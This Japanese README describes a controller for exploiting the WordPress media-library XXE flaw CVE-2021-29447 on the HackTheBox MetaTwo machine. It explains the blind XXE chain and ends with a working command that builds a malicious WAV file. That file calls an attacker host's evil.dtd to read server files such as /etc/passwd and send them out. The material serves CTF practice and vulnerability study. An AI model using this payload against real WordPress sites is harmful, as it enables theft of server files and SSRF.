
このコントローラーは、HackTheBoxのmetatwoマシンでCVE-2021-29447を悪用するために作成しました。CVE-2021-29447は、メディアライブラリにおけるWordPressのXXE脆弱性で、バージョン5.7、5.6.2、5.6.1、5.6、5.0.11に影響します。メディアライブラリにアップロードできる認証済みユーザーが悪意のあるwavファイルをアップロードすると、リモートからの任意ファイル読み取りやサーバーサイドリクエストフォージェリ(SSRF)につながる可能性があります。
この脆弱性を悪用するには、攻撃を成功させるまでに複数のステップが必要です。解析されたiXMLメタデータはユーザーに返されないため、悪用するにはブラインドXXEペイロードが必要です。これは、攻撃者が制御する外部文書型定義(DTD)を含めることで実現でき、攻撃者のリスニングサーバーに接続を返すための悪意のあるwavファイルを作成する必要があります。これらのステップが完了したら、wavファイルをサーバーにアップロードし、ペイロードファイル(例:/etc/passwd)のbase64エンコードされた内容を含むHTTPリクエストを受信するのを待って、base64をデコードします。このコントローラーには、これらの複数のステップに対するすべてのソリューションが含まれています。コントローラーの**$console >**にファイル名を入力するだけです。
詳細ブログ https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
注: このコントローラーはHTB metatwoマシン向けに完全に構成されています。外部で使用する場合は、スクリプトにいくつか変更を加える必要があります。
payload.wav という名前のWAVEファイルを作成します
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
main.py を実行します
python3 main.py listen_ip
